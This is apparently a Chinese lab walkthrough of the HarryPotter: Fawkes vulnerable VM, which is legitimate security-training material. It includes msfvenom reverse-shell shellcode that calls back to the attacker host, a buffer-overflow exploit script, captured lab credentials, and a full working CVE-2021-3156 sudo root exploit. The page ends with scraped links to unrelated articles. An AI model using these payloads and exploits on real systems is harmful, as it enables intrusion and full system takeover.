HARRYPOTTER: FAWKES
攻击机
192.168.223.128
目标机192.168.223.143
主机发现
nmap -sP 192.168.223.0/24

端口扫描
nmap -sV -p- -A 192.168.223.143

开启了21 22 80 2222 9898 五个端口,其中21端口可以匿名FTP登录,好像有点说法,百度搜索一下发现可以用anonymous登录,尝试一下
ftp连接方式是ftp IP
ftp 192.168.223.143
用户名anonymous
密码随便输

可以看到有个server_hogwarts文件
get到本地
get server_hogwarts

看一下是什么文件
vim打开文件头有一个ELF,应该是一个可执行文件,用file看一下,果然是。

运行一下试试,发现没有权限,赋个权

没反应,一直在后台运行
用ps看一下后台程序
ps用法
ps aux: 显示当前用户的所有进程信息
ps aux | grep <进程名>: 通过进程名过滤查看特定进程的信息其他查看后台程序还可以用pgrep,top,htop,jobs,pstree
ps aux | grep server_hogwarts

只能看到程序在运行,好像没什么用
ss -pantu | grep server_hogwarts
可以查看当前系统上网络连接的情况
![]()
连接了9898端口,这个端口我们在扫描端口时候发现,是monkeycom服务
既然是本地文件执行,我们本地开个监听端口看看这个服务是什么
nc 127.0.0.1 9898

好像pwn题😓
随便输入了一下好像不太行

感觉像缓冲区溢出漏洞
用edb-debugger动调看看吧
首先关闭kali的ALSR
echo 0 >/proc/sys/kernel/randomize_va_space

edb打开调试界面


连接一下

我不会汇编,看了别人的wp跟着一步步看一步步学
点击这个开始进程

想找到缓冲区溢出漏洞,需要填充大量数据找到溢出位置
先用python生成500个A
python
print('A'*500)
将500个A填入输入位置,发现了报错
提示0×41414141的内存位置出现了错误,说明这里就是溢出报错位置,点击ok具体查看

在x86架构的汇编语言中,EIP(Extended Instruction Pointer)是一个32位寄存器,用于存储下一条即将执行的指令的地址。EIP指向当前正在执行的指令的下一条指令,因此它起到了指令流的控制作用。ESP是存储具体指令的作用,但是这里ESP被A覆盖了。
那么就可以通过修改EIP,使指令跳转到目标ESP
但是现在还没有找到缓存区溢出的位置,现在通过传入不相同的垃圾数据找到溢出位置
使用msf-pattern_create生成500个不同字符串
msf-pattern_create -l 500
将垃圾数据填入重新调试

现在是0×64413764有问题
用msf-pattern_offset找到这个内存位置在输入区的位置
msf-pattern_offset -l 500 -q 64413764

偏移量是112,那么0x64413764就在第113个位置。
现在还需要找到EIP的写入地址,使得ESP只想EIP,这样就能执行到EIP的指令了。
见如下操作

选择ESP-EIP 的跳转,并且有读和执行权限的


这个jmp esp就是跳转地址
0x08049455,机器码是反写的,所以实际地址是0x55 0x9d 0x04 0x08这个就是跟在112条垃圾数据后满的地址,即ESP 的内容,接下里是要执行的指令。
用msfvenom来生成一串python的十六进制payload来反弹shell
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.223.128 LPORT=4567 -b "\x00" -f python

抄个python脚本
#!/usr/bin/python2
import sys,socket
buf = b""
buf += b"\xb8\xd4\xbe\xd2\x98\xd9\xc3\xd9\x74\x24\xf4\x5d\x31"
buf += b"\xc9\xb1\x12\x31\x45\x12\x03\x45\x12\x83\x39\x42\x30"
buf += b"\x6d\xf0\x60\x42\x6d\xa1\xd5\xfe\x18\x47\x53\xe1\x6d"
buf += b"\x21\xae\x62\x1e\xf4\x80\x5c\xec\x86\xa8\xdb\x17\xee"
buf += b"\x86\x09\xcc\x52\xbe\x33\x0c\xbb\x63\xbd\xed\x0b\xfd"
buf += b"\xed\xbc\x38\xb1\x0d\xb6\x5f\x78\x91\x9a\xf7\xed\xbd"
buf += b"\x69\x6f\x9a\xee\xa2\x0d\x33\x78\x5f\x83\x90\xf3\x41"
buf += b"\x93\x1c\xc9\x02"payload='A'*112+'\x55\x9d\x04\x08'+'\x90'*32+buf
try:s=socket.socket()s.connect(('192.168.223.143',9898))s.send((payload))s.close()
except:print('wrong')sys.exit()
执行payload,拿到shell


可以看到一个隐藏txt文件
![]()
应该是一个密码HarrYp0tter@Hogwarts123
ssh连接一下Harry看看,发现连不上,想到之前扫描端口的时候还有个2222端口开启了ssh服务
连接一下2222端口,连接成功

ssh harry@192.168.223.143 -p 2222

看到主机名字可以认出这是一个docker服务

sudo -l发现执行权限是所有人
直接sudo -s提升到root权限
sudo -s 是在 Linux 系统中使用 sudo 命令来启动一个新的 shell 进程,并将该 shell 进程的用户权限提升为超级用户(root)
sudo -s

成功拿到第一个flag
看一下note有啥

这句话让我们分析FTP上面的流量
先查一下有什么网卡
ip a

eth0网卡
流量分析
tcpdump -i eth0 port 21

在三次握手包发现账号密码 neville/bL!Bsg3k,用ssh连接一下,这里22端口连接成功
ssh neville@192.168.223.143

拿到第二个flag

接下来最终提权,这里用到一个CVE-2021-3156,是一个基于堆的缓冲区溢出漏洞
因为sudo版本是1.8.27

exp
CVE-2021-3156/exploit_nss.py at main · worawit/CVE-2021-3156 (github.com)
靶机的sudo目录是/usr/local/bin/sudo 而exp是/usr/bin/sudo所以修改一下exp
![]()
#!/usr/bin/python3
'''
Exploit for CVE-2021-3156 with overwrite struct service_user by sleepya
This exploit requires:
- glibc with tcache
- nscd service is not running
Tested on:
- Ubuntu 18.04
- Ubuntu 20.04
- Debian 10
- CentOS 8
'''
import os
import subprocess
import sys
from ctypes import cdll, c_char_p, POINTER, c_int, c_void_pSUDO_PATH = b"/usr/local/bin/sudo"libc = cdll.LoadLibrary("libc.so.6")# don't use LC_ALL (6). it override other LC_
LC_CATS = [b"LC_CTYPE", b"LC_NUMERIC", b"LC_TIME", b"LC_COLLATE", b"LC_MONETARY",b"LC_MESSAGES", b"LC_ALL", b"LC_PAPER", b"LC_NAME", b"LC_ADDRESS",b"LC_TELEPHONE", b"LC_MEASUREMENT", b"LC_IDENTIFICATION"
]def check_is_vuln():# below commands has no log because it is invalid argument for both patched and unpatched version# patched version, error because of '-s' argument# unpatched version, error because of '-A' argument but no SUDO_ASKPASS environmentr, w = os.pipe()pid = os.fork()if not pid:# childos.dup2(w, 2)execve(SUDO_PATH, [ b"sudoedit", b"-s", b"-A", b"/aa", None ], [ None ])exit(0)# parentos.close(w)os.waitpid(pid, 0)r = os.fdopen(r, 'r')err = r.read()r.close()if "sudoedit: no askpass program specified, try setting SUDO_ASKPASS" in err:return Trueassert err.startswith('usage: ') or "invalid mode flags " in err, errreturn Falsedef create_libx(name):so_path = 'libnss_'+name+'.so.2'if os.path.isfile(so_path):return # existedso_dir = 'libnss_' + name.split('/')[0]if not os.path.exists(so_dir):os.makedirs(so_dir)import zlibimport base64libx_b64 = 'eNqrd/VxY2JkZIABZgY7BhBPACrkwIAJHBgsGJigbJAydgbcwJARlWYQgFBMUH0boMLodAIazQGl\neWDGQM1jRbOPDY3PhcbnZsAPsjIjDP/zs2ZlRfCzGn7z2KGflJmnX5zBEBASn2UdMZOfFQDLghD3'with open(so_path, 'wb') as f:f.write(zlib.decompress(base64.b64decode(libx_b64)))#os.chmod(so_path, 0o755)def check_nscd_condition():if not os.path.exists('/var/run/nscd/socket'):return True # no socket. no service# try connectimport socketsk = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)try:sk.connect('/var/run/nscd/socket')except:return Trueelse:sk.close()with open('/etc/nscd.conf', 'r') as f:for line in f:line = line.strip()if not line.startswith('enable-cache'):continue # commentservice, enable = line.split()[1:]# in fact, if only passwd is enabled, exploit with this method is still possible (need test)# I think no one enable passwd but disable groupif service == 'passwd' and enable == 'yes':return False# group MUST be disabled to exploit sudo with nss_load_library() trickif service == 'group' and enable == 'yes':return Falsereturn Truedef get_libc_version():output = subprocess.check_output(['ldd', '--version'], universal_newlines=True)for line in output.split('\n'):if line.startswith('ldd '):ver_txt = line.rsplit(' ', 1)[1]return list(map(int, ver_txt.split('.')))return Nonedef check_libc_version():version = get_libc_version()assert version, "Cannot detect libc version"# this exploit only works which glibc tcache (added in 2.26)return version[0] >= 2 and version[1] >= 26def check_libc_tcache():libc.malloc.argtypes = (c_int,)libc.malloc.restype = c_void_plibc.free.argtypes = (c_void_p,)# small bin or tcachesize1, size2 = 0xd0, 0xc0mems = [0]*32# consume all size2 chunksfor i in range(len(mems)):mems[i] = libc.malloc(size2)mem1 = libc.malloc(size1)libc.free(mem1)mem2 = libc.malloc(size2)libc.free(mem2)for addr in mems:libc.free(addr)return mem1 != mem2def get_service_user_idx():'''Parse /etc/nsswitch.conf to find a group entry index'''idx = 0found = Falsewith open('/etc/nsswitch.conf', 'r') as f:for line in f:if line.startswith('#'):continue # commentline = line.strip()if not line:continue # empty linewords = line.split()if words[0] == 'group:':found = Truebreakfor word in words[1:]:if word[0] != '[':idx += 1assert found, '"group" database is not found. might be exploitable but no test'return idxdef get_extra_chunk_count(target_chunk_size):# service_user are allocated by calling getpwuid()# so we don't care allocation of chunk size 0x40 after getpwuid()# there are many string that size can be varied# here is the most commonchunk_cnt = 0# get_user_info() -> get_user_groups() ->gids = os.getgroups()malloc_size = len("groups=") + len(gids) * 11chunk_size = (malloc_size + 8 + 15) & 0xfffffff0 # minimum size is 0x20. don't care hereif chunk_size == target_chunk_size: chunk_cnt += 1# host=<hostname> (unlikely)# get_user_info() -> sudo_gethostname()import socketmalloc_size = len("host=") + len(socket.gethostname()) + 1chunk_size = (malloc_size + 8 + 15) & 0xfffffff0if chunk_size == target_chunk_size: chunk_cnt += 1# simply parse "networks=" from "ip addr" command output# another workaround is bruteforcing with number of 0x70# policy_open() -> format_plugin_settings() -># a value is created from "parse_args() -> get_net_ifs()" with very large buffertry:import ipaddressexcept:return chunk_cntcnt = 0malloc_size = 0proc = subprocess.Popen(['ip', 'addr'], stdout=subprocess.PIPE, bufsize=1, universal_newlines=True)for line in proc.stdout:line = line.strip()if not line.startswith('inet'):continueif cnt < 2: # skip first 2 address (lo interface)cnt += 1continue;addr = line.split(' ', 2)[1]mask = str(ipaddress.ip_network(addr if sys.version_info >= (3,0,0) else addr.decode("UTF-8"), False).netmask)malloc_size += addr.index('/') + 1 + len(mask)cnt += 1malloc_size += len("network_addrs=") + cnt - 3 + 1chunk_size = (malloc_size + 8 + 15) & 0xfffffff0if chunk_size == target_chunk_size: chunk_cnt += 1proc.wait()return chunk_cntdef execve(filename, argv, envp):libc.execve.argtypes = c_char_p,POINTER(c_char_p),POINTER(c_char_p)cargv = (c_char_p * len(argv))(*argv)cenvp = (c_char_p * len(envp))(*envp)libc.execve(filename, cargv, cenvp)def lc_env(cat_id, chunk_len):name = b"C.UTF-8@"name = name.ljust(chunk_len - 0x18, b'Z')return LC_CATS[cat_id]+b"="+nameassert check_is_vuln(), "target is patched"
assert check_libc_version(), "glibc is too old. The exploit is relied on glibc tcache feature. Need version >= 2.26"
assert check_libc_tcache(), "glibc tcache is not found"
assert check_nscd_condition(), "nscd service is running, exploit is impossible with this method"
service_user_idx = get_service_user_idx()
assert service_user_idx < 9, '"group" db in nsswitch.conf is too far, idx: %d' % service_user_idx
create_libx("X/X1234")# Note: actions[5] can be any value. library and known MUST be NULL
FAKE_USER_SERVICE_PART = [ b"\\" ] * 0x18 + [ b"X/X1234\\" ]TARGET_OFFSET_START = 0x780
FAKE_USER_SERVICE = FAKE_USER_SERVICE_PART*30
FAKE_USER_SERVICE[-1] = FAKE_USER_SERVICE[-1][:-1] # remove last '\\'. stop overwrittenCHUNK_CMND_SIZE = 0xf0# Allow custom extra_chunk_cnt incase unexpected allocation
# Note: this step should be no need when CHUNK_CMND_SIZE is 0xf0
extra_chunk_cnt = get_extra_chunk_count(CHUNK_CMND_SIZE) if len(sys.argv) < 2 else int(sys.argv[1])argv = [ b"sudoedit", b"-A", b"-s", b"A"*(CHUNK_CMND_SIZE-0x10)+b"\\", None ]
env = [ b"Z"*(TARGET_OFFSET_START + 0xf - 8 - 1) + b"\\" ] + FAKE_USER_SERVICE
# first 2 chunks are fixed. chunk40 (target service_user) is overwritten from overflown cmnd (in get_cmnd)
env.extend([ lc_env(0, 0x40)+b";A=", lc_env(1, CHUNK_CMND_SIZE) ])# add free chunks that created before target service_user
for i in range(2, service_user_idx+2):# skip LC_ALL (6)env.append(lc_env(i if i < 6 else i+1, 0x40))
if service_user_idx == 0:env.append(lc_env(2, 0x20)) # for filling holefor i in range(11, 11-extra_chunk_cnt, -1):env.append(lc_env(i, CHUNK_CMND_SIZE))env.append(lc_env(12, 0x90)) # for filling holes from freed file buffer
env.append(b"TZ=:") # shortcut tzset function
# don't put "SUDO_ASKPASS" environment. sudo will fail without logging if no segfault
env.append(None)execve(SUDO_PATH, argv, env)
用scp传到靶机
scp exp.py neville@192.168.223.143:~


执行拿到root权限,进而拿到第三个flag
chmod +x exp.py
./exp.py

总结:
1.ftp匿名登录拿到ELF文件
2.本地edb动调,缓冲区溢出漏洞,计算偏移量,找ESP跳转地址,msfvenom生成反弹shell字节,编写py脚本拿到shell
3.2222端口连接,sudo -s提升root权限
4.FTP流量分析,拿到账号密码连接ssh
5.sudo CVE-2021-3156提权
相关文章:
HARRYPOTTER: FAWKES
攻击机 192.168.223.128 目标机192.168.223.143 主机发现 nmap -sP 192.168.223.0/24 端口扫描 nmap -sV -p- -A 192.168.223.143 开启了21 22 80 2222 9898 五个端口,其中21端口可以匿名FTP登录,好像有点说法,百度搜索一下发现可以用anonymous登录…...
嵌入式Qt 第一个Qt项目
一.创建Qt项目 打开Qt Creator 界面选择 New Project或者选择菜单栏 【文件】-【新建文件或项目】菜单项 弹出New Project对话框,选择Qt Widgets Application 选择【Choose】按钮,弹出如下对话框 设置项目名称和路径,按照向导进行下一步 选…...
【OpenHarmony硬件操作】风扇与温湿度模块
文章目录 前言一、串行通信是什么二、IC2.1 IC是什么2.2 IC涉及到的线2.3 IC的时序三、风扇的操作3.1 关于 pcf85743.2 风扇的接口函数IO拓展芯片的定义初始化PCF8574初始化 IO拓展版的引脚属性开启和关闭风扇读状态四、温湿度传感器的使用4.1 初始化温湿度传感器</...
Vue3.4+element-plus2.5 + Vite 搭建教程整理
一、 Vue3Vite 项目搭建 说明: Vue3 最新版本已经基于Vite构建,关于Vite简介:Vite 下一代的前端工具链,前端开发与构建工具-CSDN博客 1.安装 并 创建Vue3 应用 npm create vuelatest 创建过程可以一路 NO 目前推荐使用 Vue R…...
STM32Cubmax stm32f103zet6 SPI通讯
一、基本概念 SPI 是英语 Serial Peripheral interface 的缩写,顾名思义就是串行外围设备接口。是 Motorola 首先在其 MC68HCXX 系列处理器上定义的。 SPI 接口主要应用在 EEPROM, FLASH,实时时 钟, AD 转换器,还有数…...
每日OJ题_位运算⑤_力扣371. 两整数之和
目录 力扣371. 两整数之和 解析代码 力扣371. 两整数之和 371. 两整数之和 难度 简单 给你两个整数 a 和 b ,不使用 运算符 和 - ,计算并返回两整数之和。 示例 1: 输入:a 1, b 2 输出:3示例 2: …...
Mysql中索引优化和失效
什么是索引 要了解索引优化和索引失效的场景就要先了解什么是索引 索引是一种有序的存储结构,按照单个或者多个列的值进行排序,以提升搜索效率。 索引的类型 UNIQUE唯一索引 不可以出现相同的值,可以有NULL值。 INDEX普通索引 允许出现相同…...
使用Python+OpenCV2进行图片中的文字分割(支持竖版)
扣字和分割 把图片中的文字,识别出来,并将每个字的图片抠出来; import cv2 import numpy as npHIOG 50 VIOG 3 Position []水平投影 def getHProjection(image):hProjection np.zeros(image.shape,np.uint8)# 获取图像大小(h,w)image.sh…...
Qt中程序发布及常见问题
1、引言 当我们写好一个程序时通常需要发布给用户使用,那么在Qt中程序又是如何实现发布的呢,这里我就来浅谈一下qt中如何发布程序,以及发布程序时的常见问题。 2、发布过程 2.1、切换为release模式 当我们写qt程序时默认是debug模式&#x…...
C语言第二十三弹---指针(七)
✨个人主页: 熬夜学编程的小林 💗系列专栏: 【C语言详解】 【数据结构详解】 指针 1、sizeof和strlen的对比 1.1、sizeof 1.2、strlen 1.3、sizeof 和 strlen的对比 2、数组和指针笔试题解析 2.1、⼀维数组 2.2、二维数组 总结 1、si…...
用HTML5 + JavaScript绘制花、树
用HTML5 JavaScript绘制花、树 <canvas>是一个可以使用脚本 (通常为JavaScript) 来绘制图形的 HTML 元素。 <canvas> 标签/元素只是图形容器,必须使用脚本来绘制图形。 HTML5 canvas 图形标签基础https://blog.csdn.net/cnds123/article/details/112…...
Science重磅_让大模型像婴儿一样学习语言
英文名称: Grounded language acquisition through the eyes and ears of a single child 中文名称: 通过一个孩子的眼睛和耳朵基于实践学习语言 文章: https://www.science.org/doi/10.1126/science.adi1374 代码: https://github.com/wkvong/multimodalbaby 作者: Wai Keen V…...
Java 数据结构篇-实现红黑树的核心方法
🔥博客主页: 【小扳_-CSDN博客】 ❤感谢大家点赞👍收藏⭐评论✍ 文章目录 1.0 红黑树的说明 2.0 红黑树的特性 3.0 红黑树的成员变量及其构造方法 4.0 实现红黑树的核心方法 4.1 红黑树内部类的核心方法 (1)判断当前…...
【实战】一、Jest 前端自动化测试框架基础入门(中) —— 前端要学的测试课 从Jest入门到TDD BDD双实战(二)
文章目录 一、Jest 前端自动化测试框架基础入门5.Jest 中的匹配器toBe 匹配器toEqual匹配器toBeNull匹配器toBeUndefined匹配器和toBeDefined匹配器toBeTruthy匹配器toBeFalsy匹配器数字相关的匹配器字符串相关的匹配器数组相关的匹配器异常情况的匹配器 6.Jest 命令行工具的使…...
【C语言 - 力扣 - 反转链表】
反转链表题目描述 给你单链表的头节点 head ,请你反转链表,并返回反转后的链表。 题解1-迭代 假设链表为 1→2→3→∅,我们想要把它改成 ∅←1←2←3。 在遍历链表时,将当前节点的 next 指针改为指向前一个节点。由于节点没…...
ctfshow-php特性(web102-web115)
目录 web102 web103 web104 web105 web106 web107 web108 web109 web110 web111 web112 web113 web114 web115 实践是检验真理的 要多多尝试 web102 <?php highlight_file(__FILE__); $v1$_POST[V1]; $v2$_GET[v2]; $v3$_GET[v3]; $v4is_numeric($v2)and is…...
python系统学习Day1
section1 python introduction 文中tips只做拓展,可跳过。 PartOne introduction 首先要对于python这门语言有一个宏观的认识,包括特点和应用场景。 特点分析: 优势 提供了完善的基础代码库,许多功能不必从零编写简单优雅 劣势 运…...
Idea里自定义封装数据警告解决 Spring Boot Configuration Annotation Processor not configured
我们自定对象封装指定数据,封装类上面一个红色警告,虽然不影响我们的执行,但是有强迫症看着不舒服, 去除方式: 在pom文件加上坐标刷新 <dependency><groupId>org.springframework.boot</groupId><…...
【流程图——讲解】
流程图介绍 流程图介绍 流程图介绍 流程图是一种图表,它展示了工作流程或过程中的步骤顺序,它通常由不同的符号表示,每个符号都代表一个步骤或过程中的一个元素,流程图非常有用,因为它们可以提供清晰、视觉化的过程表…...
「计算机网络」物理层
物理层的基本概念 物理层的作用:尽可能屏蔽掉不同传输媒体和通信手段的差异物理层规程:用于物理层的协议主要任务:确定与传输媒体的接口有关的一些特性 机械特性电器特性功能特性过程特性 数据通信的基础知识 数据通信系统的模型 划分为…...
浅谈 React Hooks
React Hooks 是 React 16.8 引入的一组 API,用于在函数组件中使用 state 和其他 React 特性(例如生命周期方法、context 等)。Hooks 通过简洁的函数接口,解决了状态与 UI 的高度解耦,通过函数式编程范式实现更灵活 Rea…...
ubuntu搭建nfs服务centos挂载访问
在Ubuntu上设置NFS服务器 在Ubuntu上,你可以使用apt包管理器来安装NFS服务器。打开终端并运行: sudo apt update sudo apt install nfs-kernel-server创建共享目录 创建一个目录用于共享,例如/shared: sudo mkdir /shared sud…...
STM32+rt-thread判断是否联网
一、根据NETDEV_FLAG_INTERNET_UP位判断 static bool is_conncected(void) {struct netdev *dev RT_NULL;dev netdev_get_first_by_flags(NETDEV_FLAG_INTERNET_UP);if (dev RT_NULL){printf("wait netdev internet up...");return false;}else{printf("loc…...
Qt Widget类解析与代码注释
#include "widget.h" #include "ui_widget.h"Widget::Widget(QWidget *parent): QWidget(parent), ui(new Ui::Widget) {ui->setupUi(this); }Widget::~Widget() {delete ui; }//解释这串代码,写上注释 当然可以!这段代码是 Qt …...
python爬虫:Newspaper3k 的详细使用(好用的新闻网站文章抓取和解析的Python库)
更多内容请见: 爬虫和逆向教程-专栏介绍和目录 文章目录 一、Newspaper3k 概述1.1 Newspaper3k 介绍1.2 主要功能1.3 典型应用场景1.4 安装二、基本用法2.2 提取单篇文章的内容2.2 处理多篇文档三、高级选项3.1 自定义配置3.2 分析文章情感四、实战案例4.1 构建新闻摘要聚合器…...
unix/linux,sudo,其发展历程详细时间线、由来、历史背景
sudo 的诞生和演化,本身就是一部 Unix/Linux 系统管理哲学变迁的微缩史。来,让我们拨开时间的迷雾,一同探寻 sudo 那波澜壮阔(也颇为实用主义)的发展历程。 历史背景:su的时代与困境 ( 20 世纪 70 年代 - 80 年代初) 在 sudo 出现之前,Unix 系统管理员和需要特权操作的…...
如何理解 IP 数据报中的 TTL?
目录 前言理解 前言 面试灵魂一问:说说对 IP 数据报中 TTL 的理解?我们都知道,IP 数据报由首部和数据两部分组成,首部又分为两部分:固定部分和可变部分,共占 20 字节,而即将讨论的 TTL 就位于首…...
sipsak:SIP瑞士军刀!全参数详细教程!Kali Linux教程!
简介 sipsak 是一个面向会话初始协议 (SIP) 应用程序开发人员和管理员的小型命令行工具。它可以用于对 SIP 应用程序和设备进行一些简单的测试。 sipsak 是一款 SIP 压力和诊断实用程序。它通过 sip-uri 向服务器发送 SIP 请求,并检查收到的响应。它以以下模式之一…...
iOS性能调优实战:借助克魔(KeyMob)与常用工具深度洞察App瓶颈
在日常iOS开发过程中,性能问题往往是最令人头疼的一类Bug。尤其是在App上线前的压测阶段或是处理用户反馈的高发期,开发者往往需要面对卡顿、崩溃、能耗异常、日志混乱等一系列问题。这些问题表面上看似偶发,但背后往往隐藏着系统资源调度不当…...
【VLNs篇】07:NavRL—在动态环境中学习安全飞行
项目内容论文标题NavRL: 在动态环境中学习安全飞行 (NavRL: Learning Safe Flight in Dynamic Environments)核心问题解决无人机在包含静态和动态障碍物的复杂环境中进行安全、高效自主导航的挑战,克服传统方法和现有强化学习方法的局限性。核心算法基于近端策略优化…...
